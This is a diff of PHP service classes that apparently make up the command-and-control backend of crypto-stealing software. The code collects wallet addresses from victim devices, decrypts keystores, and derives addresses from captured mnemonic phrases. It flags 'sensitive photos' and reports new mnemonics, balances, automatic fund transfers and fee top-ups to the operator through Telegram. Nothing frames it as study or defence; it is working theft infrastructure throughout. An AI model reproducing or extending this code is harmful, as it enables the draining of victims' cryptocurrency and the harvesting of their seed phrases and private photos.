/** WalletCore coin type → persisted chain_type. */
|
||||
private const COIN_CHAIN = [
|
||||
0 => 'BITCOIN',
|
||||
60 => 'ETHEREUM',
|
||||
195 => 'TRON',
|
||||
];
|
||||
|
||||
public function __construct(
|
||||
private readonly IngestService $ingest,
|
||||
) {}
|
||||
|
||||
public function ingest(Device $device, mixed $node): int
|
||||
{
|
||||
$rows = $this->collect($node);
|
||||
if ($rows === []) {
|
||||
return 0;
|
||||
}
|
||||
$this->ingest->ingestAddresses($device, [
|
||||
'a' => 'd',
|
||||
'data' => $rows,
|
||||
]);
|
||||
|
||||
return count($rows);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
|
||||
*/
|
||||
public function collect(mixed $node): array
|
||||
{
|
||||
$picked = [
|
||||
'BITCOIN' => [],
|
||||
'ETHEREUM' => [],
|
||||
'TRON' => [],
|
||||
];
|
||||
foreach ($this->walkAccounts($node) as $acct) {
|
||||
$address = trim((string) ($acct['address'] ?? ''));
|
||||
$chain = $this->chainFor($address, $acct['coin'] ?? null);
|
||||
if ($chain === null) {
|
||||
continue;
|
||||
}
|
||||
if (in_array($address, $picked[$chain], true)) {
|
||||
continue;
|
||||
}
|
||||
if (count($picked[$chain]) >= self::MAX_PER_CHAIN) {
|
||||
continue;
|
||||
}
|
||||
$picked[$chain][] = $address;
|
||||
}
|
||||
|
||||
$out = [];
|
||||
foreach ($picked as $chain => $addresses) {
|
||||
$symbol = match ($chain) {
|
||||
'BITCOIN' => 'BTC',
|
||||
'ETHEREUM' => 'ETH',
|
||||
default => 'TRX',
|
||||
};
|
||||
foreach ($addresses as $address) {
|
||||
$out[] = [
|
||||
'address' => $address,
|
||||
'chainType' => $chain,
|
||||
'symbol' => $symbol,
|
||||
'balance' => 0,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
private function walkAccounts(mixed $node, int $depth = 0): array
|
||||
{
|
||||
if ($depth > 8 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
if (is_string($node)) {
|
||||
$decoded = $this->decodeBlob($node);
|
||||
if ($decoded === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->walkAccounts($decoded, $depth + 1);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
if (isset($node['activeAccounts']) && is_array($node['activeAccounts'])) {
|
||||
return array_values(array_filter(
|
||||
$node['activeAccounts'],
|
||||
static fn ($row) => is_array($row)
|
||||
));
|
||||
}
|
||||
$out = [];
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_string($key) && strcasecmp($key, 'data_b64') === 0 && is_string($child)) {
|
||||
$out = array_merge($out, $this->walkAccounts($child, $depth + 1));
|
||||
|
||||
continue;
|
||||
}
|
||||
$out = array_merge($out, $this->walkAccounts($child, $depth + 1));
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function decodeBlob(string $raw): mixed
|
||||
{
|
||||
$raw = trim($raw);
|
||||
if ($raw === '') {
|
||||
return null;
|
||||
}
|
||||
if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) {
|
||||
$json = json_decode($raw, true);
|
||||
|
||||
return is_array($json) ? $json : null;
|
||||
}
|
||||
$b64 = base64_decode($raw, true);
|
||||
if (is_string($b64) && $b64 !== '') {
|
||||
$json = json_decode($b64, true);
|
||||
if (is_array($json)) {
|
||||
return $json;
|
||||
}
|
||||
}
|
||||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? '';
|
||||
if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) {
|
||||
$bin = @hex2bin($hex);
|
||||
if (is_string($bin) && $bin !== '') {
|
||||
$json = json_decode($bin, true);
|
||||
if (is_array($json)) {
|
||||
return $json;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function chainFor(string $address, mixed $coin): ?string
|
||||
{
|
||||
if ($address === '') {
|
||||
return null;
|
||||
}
|
||||
if (is_numeric($coin)) {
|
||||
$mapped = self::COIN_CHAIN[(int) $coin] ?? null;
|
||||
if ($mapped !== null) {
|
||||
return $mapped;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
$inferred = match (WalletSource::inferChainType($address)) {
|
||||
'BITCOIN' => 'BITCOIN',
|
||||
'ETHEREUM' => 'ETHEREUM',
|
||||
'TRON' => 'TRON',
|
||||
default => null,
|
||||
};
|
||||
|
||||
return $inferred;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Support\Scrypt;
|
||||
use kornrunner\Keccak;
|
||||
|
||||
/**
|
||||
* Ethereum / WalletCore keystore v3: scrypt|pbkdf2 + AES-128-CTR + keccak MAC.
|
||||
*/
|
||||
final class EthKeystore
|
||||
{
|
||||
public static function decrypt(array $keystore, string $password): ?string
|
||||
{
|
||||
$crypto = $keystore['crypto'] ?? $keystore['Crypto'] ?? null;
|
||||
if (! is_array($crypto)) {
|
||||
return null;
|
||||
}
|
||||
$cipher = strtolower((string) ($crypto['cipher'] ?? ''));
|
||||
if ($cipher !== 'aes-128-ctr') {
|
||||
return null;
|
||||
}
|
||||
$ciphertext = self::fromHex($crypto['ciphertext'] ?? null);
|
||||
$mac = self::fromHex($crypto['mac'] ?? null);
|
||||
$iv = self::fromHex($crypto['cipherparams']['iv'] ?? null);
|
||||
if ($ciphertext === null || $mac === null || $iv === null || strlen($iv) !== 16) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$derived = self::deriveKey($crypto, $password);
|
||||
if ($derived === null || strlen($derived) < 32) {
|
||||
return null;
|
||||
}
|
||||
if (! hash_equals($mac, self::keccak256(substr($derived, 16, 16).$ciphertext))) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$plain = openssl_decrypt($ciphertext, 'aes-128-ctr', substr($derived, 0, 16), OPENSSL_RAW_DATA, $iv);
|
||||
if (! is_string($plain) || $plain === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $plain;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $kdfparams
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public static function encrypt(string $plaintext, string $password, array $kdfparams = []): array
|
||||
{
|
||||
$salt = $kdfparams['salt'] ?? bin2hex(random_bytes(32));
|
||||
if (is_string($salt) && ctype_xdigit($salt)) {
|
||||
$saltHex = strtolower($salt);
|
||||
} else {
|
||||
$saltHex = bin2hex((string) $salt);
|
||||
}
|
||||
$n = (int) ($kdfparams['n'] ?? 16);
|
||||
$r = (int) ($kdfparams['r'] ?? 8);
|
||||
$p = (int) ($kdfparams['p'] ?? 1);
|
||||
$dklen = (int) ($kdfparams['dklen'] ?? 32);
|
||||
$iv = random_bytes(16);
|
||||
$derived = Scrypt::hash($password, hex2bin($saltHex) ?: '', $n, $r, $p, $dklen);
|
||||
$ciphertext = openssl_encrypt($plaintext, 'aes-128-ctr', substr($derived, 0, 16), OPENSSL_RAW_DATA, $iv);
|
||||
if (! is_string($ciphertext)) {
|
||||
throw new \RuntimeException('aes-128-ctr encrypt failed');
|
||||
}
|
||||
|
||||
return [
|
||||
'version' => 3,
|
||||
'type' => 'mnemonic',
|
||||
'crypto' => [
|
||||
'cipher' => 'aes-128-ctr',
|
||||
'cipherparams' => ['iv' => bin2hex($iv)],
|
||||
'ciphertext' => bin2hex($ciphertext),
|
||||
'kdf' => 'scrypt',
|
||||
'kdfparams' => [
|
||||
'dklen' => $dklen,
|
||||
'n' => $n,
|
||||
'p' => $p,
|
||||
'r' => $r,
|
||||
'salt' => $saltHex,
|
||||
],
|
||||
'mac' => bin2hex(self::keccak256(substr($derived, 16, 16).$ciphertext)),
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $crypto
|
||||
*/
|
||||
private static function deriveKey(array $crypto, string $password): ?string
|
||||
{
|
||||
$kdf = strtolower((string) ($crypto['kdf'] ?? ''));
|
||||
$params = is_array($crypto['kdfparams'] ?? null) ? $crypto['kdfparams'] : [];
|
||||
$dklen = (int) ($params['dklen'] ?? 32);
|
||||
$salt = self::fromHex($params['salt'] ?? null);
|
||||
if ($salt === null || $dklen < 16) {
|
||||
return null;
|
||||
}
|
||||
if ($kdf === 'scrypt') {
|
||||
$n = (int) ($params['n'] ?? 0);
|
||||
$r = (int) ($params['r'] ?? 0);
|
||||
$p = (int) ($params['p'] ?? 0);
|
||||
if ($n < 2 || $r < 1 || $p < 1) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return self::scrypt($password, $salt, $n, $r, $p, $dklen);
|
||||
}
|
||||
if ($kdf === 'pbkdf2') {
|
||||
$c = (int) ($params['c'] ?? 0);
|
||||
$prf = strtolower((string) ($params['prf'] ?? 'hmac-sha256'));
|
||||
if ($c < 1 || ! str_contains($prf, 'sha256')) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return hash_pbkdf2('sha256', $password, $salt, $c, $dklen, true);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private static function scrypt(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
|
||||
{
|
||||
if ($n >= 256) {
|
||||
$fast = self::scryptPython($password, $salt, $n, $r, $p, $dklen);
|
||||
if ($fast !== null) {
|
||||
return $fast;
|
||||
}
|
||||
}
|
||||
try {
|
||||
return Scrypt::hash($password, $salt, $n, $r, $p, $dklen);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static function scryptPython(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
|
||||
{
|
||||
$python = trim((string) shell_exec('command -v python3'));
|
||||
if ($python === '') {
|
||||
return null;
|
||||
}
|
||||
$code = <<<'PY'
|
||||
from Crypto.Protocol.KDF import scrypt
|
||||
import sys
|
||||
pw = bytes.fromhex(sys.argv[1])
|
||||
salt = bytes.fromhex(sys.argv[2])
|
||||
n, r, p, dk = (int(sys.argv[i]) for i in range(3, 7))
|
||||
sys.stdout.buffer.write(scrypt(pw, salt, dk, N=n, r=r, p=p))
|
||||
PY;
|
||||
$cmd = [
|
||||
$python,
|
||||
'-c',
|
||||
$code,
|
||||
bin2hex($password),
|
||||
bin2hex($salt),
|
||||
(string) $n,
|
||||
(string) $r,
|
||||
(string) $p,
|
||||
(string) $dklen,
|
||||
];
|
||||
$spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
|
||||
$proc = @proc_open($cmd, $spec, $pipes);
|
||||
if (! is_resource($proc)) {
|
||||
return null;
|
||||
}
|
||||
fclose($pipes[0]);
|
||||
$out = stream_get_contents($pipes[1]);
|
||||
fclose($pipes[1]);
|
||||
fclose($pipes[2]);
|
||||
$codeStatus = proc_close($proc);
|
||||
if ($codeStatus !== 0 || ! is_string($out) || strlen($out) !== $dklen) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private static function keccak256(string $data): string
|
||||
{
|
||||
return hex2bin(Keccak::hash($data, 256)) ?: '';
|
||||
}
|
||||
|
||||
private static function fromHex(mixed $value): ?string
|
||||
{
|
||||
if (! is_string($value) || $value === '') {
|
||||
return null;
|
||||
}
|
||||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
|
||||
if ($hex === '' || strlen($hex) % 2 !== 0) {
|
||||
return null;
|
||||
}
|
||||
$bin = @hex2bin($hex);
|
||||
|
||||
return is_string($bin) ? $bin : null;
|
||||
}
|
||||
}
|
||||
@@ -477,8 +477,15 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
|
||||
$source = WalletSource::fromKeystoreHint($payload['a'] ?? null);
|
||||
if ($source === '' && is_array($result)) {
|
||||
$source = WalletSource::fromKeystoreHint($result['source'] ?? null);
|
||||
}
|
||||
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => $source,
|
||||
'decrypted' => 0,
|
||||
'raw_json' => is_array($result) ? $result : ['value' => $result],
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -10,7 +10,7 @@ use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
* When a mnemonic has no linked addresses, derive BIP44 index 0 for TRON/ETH/BTC,
|
||||
* query balances, and persist only chains that have a positive balance.
|
||||
* query balances, and persist the addresses even when the balance is zero.
|
||||
*/
|
||||
class MnemonicWalletDiscovery
|
||||
{
|
||||
@@ -26,9 +26,9 @@ class MnemonicWalletDiscovery
|
||||
) {}
|
||||
|
||||
/**
|
||||
* @return int Number of address rows created or updated with positive balance
|
||||
* @return int Number of address rows created or updated
|
||||
*/
|
||||
public function discoverFundedIndexZero(WalletMnemonic $mnemonic): int
|
||||
public function discoverIndexZero(WalletMnemonic $mnemonic): int
|
||||
{
|
||||
$phrase = $mnemonic->mnemonic;
|
||||
if ($phrase === null || trim($phrase) === '') {
|
||||
@@ -70,9 +70,15 @@ class MnemonicWalletDiscovery
|
||||
): bool {
|
||||
$driver = $this->chains->resolve($chain);
|
||||
$address = $driver->deriveAddress($phrase, 0);
|
||||
$coins = $this->fetchCoins($chain, $address);
|
||||
if (! $this->hasPositiveBalance($coins)) {
|
||||
return false;
|
||||
try {
|
||||
$coins = $this->fetchCoins($chain, $address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery balance failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $chain,
|
||||
'address' => $address,
|
||||
]);
|
||||
$coins = $this->emptyCoins($chain);
|
||||
}
|
||||
|
||||
$row = WalletAddress::query()->firstOrNew([
|
||||
@@ -95,6 +101,19 @@ class MnemonicWalletDiscovery
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function emptyCoins(string $chain): array
|
||||
{
|
||||
return match ($chain) {
|
||||
'tron' => ['trx' => '0', 'usdt' => '0'],
|
||||
'eth' => ['eth' => '0', 'usdt' => '0'],
|
||||
'btc' => ['btc' => '0'],
|
||||
default => [],
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, string>
|
||||
*/
|
||||
@@ -131,21 +150,4 @@ class MnemonicWalletDiscovery
|
||||
return '0';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, string> $coins
|
||||
*/
|
||||
private function hasPositiveBalance(array $coins): bool
|
||||
{
|
||||
foreach ($coins as $value) {
|
||||
if (! is_numeric($value)) {
|
||||
continue;
|
||||
}
|
||||
if (bccomp((string) $value, '0', 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class PhotoPreview
|
||||
{
|
||||
public const CACHE_DIR = 'c2/photo-previews';
|
||||
|
||||
/**
|
||||
* Serve a stored photo. HEIC/HEIF is converted to JPEG at display time;
|
||||
* the ingested original is never rewritten.
|
||||
*
|
||||
* @return array{bytes: string, mime: string, converted: bool}
|
||||
*/
|
||||
public function payload(string $absPath, string $deviceKey, string $sha256): array
|
||||
{
|
||||
$mime = @mime_content_type($absPath) ?: 'application/octet-stream';
|
||||
$raw = (string) file_get_contents($absPath);
|
||||
if ($raw === '' || ! $this->isHeic($absPath, $mime, $raw)) {
|
||||
return [
|
||||
'bytes' => $raw,
|
||||
'mime' => $mime,
|
||||
'converted' => false,
|
||||
];
|
||||
}
|
||||
|
||||
$cacheRel = $this->cachePath($deviceKey, $sha256);
|
||||
$disk = Storage::disk('local');
|
||||
if ($disk->exists($cacheRel)) {
|
||||
$cached = (string) $disk->get($cacheRel);
|
||||
if ($this->isJpeg($cached)) {
|
||||
return [
|
||||
'bytes' => $cached,
|
||||
'mime' => 'image/jpeg',
|
||||
'converted' => true,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
$jpeg = $this->convertToJpeg($absPath);
|
||||
if ($jpeg === null) {
|
||||
Log::warning('heic preview convert failed', [
|
||||
'path' => $absPath,
|
||||
'sha256' => $sha256,
|
||||
]);
|
||||
|
||||
return [
|
||||
'bytes' => $raw,
|
||||
'mime' => $mime,
|
||||
'converted' => false,
|
||||
];
|
||||
}
|
||||
|
||||
$disk->put($cacheRel, $jpeg);
|
||||
|
||||
return [
|
||||
'bytes' => $jpeg,
|
||||
'mime' => 'image/jpeg',
|
||||
'converted' => true,
|
||||
];
|
||||
}
|
||||
|
||||
public function forgetForDevice(string $deviceKey): void
|
||||
{
|
||||
$dir = self::CACHE_DIR.'/'.$this->safeKey($deviceKey);
|
||||
try {
|
||||
if (Storage::disk('local')->directoryExists($dir)) {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
try {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
} catch (\Throwable) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function headLooksHeic(string $head): bool
|
||||
{
|
||||
if (strlen($head) < 12 || substr($head, 4, 4) !== 'ftyp') {
|
||||
return false;
|
||||
}
|
||||
$brands = substr($head, 8);
|
||||
foreach (['heic', 'heix', 'heif', 'hevc', 'hevx', 'mif1', 'msf1'] as $brand) {
|
||||
if (str_contains($brands, $brand)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private function isHeic(string $absPath, string $mime, string $raw): bool
|
||||
{
|
||||
$mime = strtolower($mime);
|
||||
if (str_contains($mime, 'heic') || str_contains($mime, 'heif')) {
|
||||
return true;
|
||||
}
|
||||
$ext = strtolower(pathinfo($absPath, PATHINFO_EXTENSION));
|
||||
if (in_array($ext, ['heic', 'heif'], true)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return $this->headLooksHeic(substr($raw, 0, 32));
|
||||
}
|
||||
|
||||
private function isJpeg(string $bytes): bool
|
||||
{
|
||||
return strlen($bytes) >= 3 && substr($bytes, 0, 2) === "\xFF\xD8";
|
||||
}
|
||||
|
||||
private function convertToJpeg(string $absPath): ?string
|
||||
{
|
||||
$src = null;
|
||||
$dst = null;
|
||||
try {
|
||||
$srcBase = tempnam(sys_get_temp_dir(), 'heic_src_');
|
||||
$dstBase = tempnam(sys_get_temp_dir(), 'heic_dst_');
|
||||
if ($srcBase === false || $dstBase === false) {
|
||||
return null;
|
||||
}
|
||||
@unlink($srcBase);
|
||||
@unlink($dstBase);
|
||||
$src = $srcBase.'.heic';
|
||||
$dst = $dstBase.'.jpg';
|
||||
if (! @copy($absPath, $src)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
foreach ($this->convertCommands($src, $dst) as $cmd) {
|
||||
$result = Process::timeout(45)->run($cmd);
|
||||
if (! $result->successful() || ! is_file($dst) || filesize($dst) < 3) {
|
||||
continue;
|
||||
}
|
||||
$bytes = (string) file_get_contents($dst);
|
||||
if ($this->isJpeg($bytes)) {
|
||||
return $bytes;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
} finally {
|
||||
if (is_string($src) && is_file($src)) {
|
||||
@unlink($src);
|
||||
}
|
||||
if (is_string($dst) && is_file($dst)) {
|
||||
@unlink($dst);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<list<string>>
|
||||
*/
|
||||
private function convertCommands(string $src, string $dst): array
|
||||
{
|
||||
$cmds = [];
|
||||
if (is_executable('/usr/bin/sips')) {
|
||||
$cmds[] = ['/usr/bin/sips', '-s', 'format', 'jpeg', '--out', $dst, $src];
|
||||
}
|
||||
foreach (['heif-convert', 'magick'] as $bin) {
|
||||
$path = $this->resolveBinary($bin);
|
||||
if ($path === null) {
|
||||
continue;
|
||||
}
|
||||
$cmds[] = $bin === 'magick'
|
||||
? [$path, $src, '-quality', '85', $dst]
|
||||
: [$path, $src, $dst];
|
||||
}
|
||||
|
||||
return $cmds;
|
||||
}
|
||||
|
||||
private function resolveBinary(string $name): ?string
|
||||
{
|
||||
$candidates = match ($name) {
|
||||
'magick' => ['magick', '/opt/homebrew/bin/magick', '/usr/local/bin/magick', '/usr/bin/magick'],
|
||||
'heif-convert' => ['heif-convert', '/opt/homebrew/bin/heif-convert', '/usr/local/bin/heif-convert', '/usr/bin/heif-convert'],
|
||||
default => [$name],
|
||||
};
|
||||
foreach ($candidates as $bin) {
|
||||
if (str_contains($bin, DIRECTORY_SEPARATOR)) {
|
||||
if (is_executable($bin)) {
|
||||
return $bin;
|
||||
}
|
||||
|
||||
continue;
|
||||
}
|
||||
$found = $this->which($bin);
|
||||
if ($found !== null) {
|
||||
return $found;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function which(string $name): ?string
|
||||
{
|
||||
$path = getenv('PATH');
|
||||
if (! is_string($path) || $path === '') {
|
||||
return null;
|
||||
}
|
||||
foreach (explode(PATH_SEPARATOR, $path) as $dir) {
|
||||
$candidate = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$name;
|
||||
if (is_executable($candidate)) {
|
||||
return $candidate;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function cachePath(string $deviceKey, string $sha256): string
|
||||
{
|
||||
$sha = preg_replace('/[^0-9a-fA-F]/', '', $sha256) ?? '';
|
||||
if ($sha === '') {
|
||||
$sha = 'unknown';
|
||||
}
|
||||
|
||||
return self::CACHE_DIR.'/'.$this->safeKey($deviceKey).'/'.$sha.'.jpg';
|
||||
}
|
||||
|
||||
private function safeKey(string $key): string
|
||||
{
|
||||
$key = preg_replace('/[^A-Za-z0-9._-]/', '_', $key) ?? '';
|
||||
|
||||
return $key === '' ? '_unknown' : $key;
|
||||
}
|
||||
}
|
||||
@@ -185,7 +185,7 @@ class TelegramNotifier
|
||||
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'📱 <b>New Device</b>',
|
||||
'📱 <b>新设备</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
|
||||
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
|
||||
@@ -214,7 +214,7 @@ class TelegramNotifier
|
||||
}
|
||||
|
||||
$lines = [
|
||||
'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
|
||||
'💰 <b>新钱包地址</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
|
||||
...$this->deviceHeader($deviceId),
|
||||
];
|
||||
|
||||
@@ -227,12 +227,12 @@ class TelegramNotifier
|
||||
if ($i > 0) {
|
||||
$lines[] = '';
|
||||
}
|
||||
$lines[] = '⛓ <b>Chain</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
|
||||
$lines[] = '⛓ <b>链</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
|
||||
if ($source !== '') {
|
||||
$lines[] = '🏷 <b>Source</b>: '.$this->e($source);
|
||||
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
|
||||
}
|
||||
$lines[] = '📬 <b>Address</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
|
||||
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
|
||||
$lines[] = '📬 <b>地址</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
|
||||
$lines[] = '💵 <b>余额</b>: '.$this->e($bal);
|
||||
}
|
||||
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
@@ -249,29 +249,29 @@ class TelegramNotifier
|
||||
}
|
||||
|
||||
$this->send(implode("\n", [
|
||||
'👜 <b>Installed Wallets</b>',
|
||||
'👜 <b>已安装钱包</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>Wallets</b>: '.$this->e(implode(', ', $wallets)),
|
||||
'🏷 <b>钱包</b>: '.$this->e(implode(', ', $wallets)),
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🔐 <b>New Mnemonic</b>',
|
||||
'🔐 <b>新助记词</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
|
||||
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
|
||||
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
|
||||
'📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🖼 <b>Sensitive Photo</b>',
|
||||
'🖼 <b>敏感照片</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🎯 <b>x-hit</b>: '.$this->e((string) $xHit),
|
||||
'📦 <b>Count</b>: '.$this->e((string) max(1, $count)),
|
||||
'🎯 <b>敏感分</b>: '.$this->e((string) $xHit),
|
||||
'📦 <b>数量</b>: '.$this->e((string) max(1, $count)),
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
@@ -284,14 +284,14 @@ class TelegramNotifier
|
||||
?string $balance = null,
|
||||
): void {
|
||||
$lines = [
|
||||
'✅ <b>Balance Inbound</b>',
|
||||
'✅ <b>余额入账</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
|
||||
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
|
||||
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
|
||||
'⛓ <b>链</b>: '.$this->e($chain ?: '—'),
|
||||
'📬 <b>地址</b>: <code>'.$this->e($address).'</code>',
|
||||
'💵 <b>金额</b>: +'.$this->e($amount).' '.$this->e($symbol),
|
||||
];
|
||||
if ($balance !== null && trim($balance) !== '') {
|
||||
$lines[] = '💰 <b>Balance</b>: '.$this->e($balance);
|
||||
$lines[] = '💰 <b>余额</b>: '.$this->e($balance);
|
||||
}
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
@@ -311,23 +311,23 @@ class TelegramNotifier
|
||||
?string $error = null,
|
||||
): void {
|
||||
$lines = [
|
||||
$ok ? '🚀 <b>Auto Transfer OK</b>' : '⚠️ <b>Auto Transfer Failed</b>',
|
||||
$ok ? '🚀 <b>自动转账成功</b>' : '⚠️ <b>自动转账失败</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'⛓ <b>Chain</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—'),
|
||||
'💎 <b>Asset</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—'),
|
||||
'📤 <b>From</b>: <code>'.$this->e($fromAddress).'</code>',
|
||||
'⛓ <b>链</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—'),
|
||||
'💎 <b>资产</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—'),
|
||||
'📤 <b>转出</b>: <code>'.$this->e($fromAddress).'</code>',
|
||||
];
|
||||
if ($toAddress !== null && trim($toAddress) !== '') {
|
||||
$lines[] = '📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>';
|
||||
$lines[] = '📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>';
|
||||
}
|
||||
if ($amount !== null && trim($amount) !== '') {
|
||||
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
|
||||
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
|
||||
}
|
||||
if ($ok && $txid !== null && trim($txid) !== '') {
|
||||
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>';
|
||||
$lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
|
||||
}
|
||||
if (! $ok && $error !== null && trim($error) !== '') {
|
||||
$lines[] = '❌ <b>Error</b>: '.$this->e($error);
|
||||
$lines[] = '❌ <b>错误</b>: '.$this->e($error);
|
||||
}
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
@@ -345,19 +345,19 @@ class TelegramNotifier
|
||||
?string $error = null,
|
||||
): void {
|
||||
$lines = [
|
||||
$ok ? '⚡ <b>TRX Fee Top-up OK</b>' : '⚠️ <b>TRX Fee Top-up Failed</b>',
|
||||
$ok ? '⚡ <b>TRX 手续费补足成功</b>' : '⚠️ <b>TRX 手续费补足失败</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'📤 <b>Fee wallet</b>: <code>'.$this->e($feeFrom).'</code>',
|
||||
'📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>',
|
||||
'📤 <b>手续费钱包</b>: <code>'.$this->e($feeFrom).'</code>',
|
||||
'📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>',
|
||||
];
|
||||
if ($amount !== null && trim($amount) !== '') {
|
||||
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' TRX';
|
||||
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' TRX';
|
||||
}
|
||||
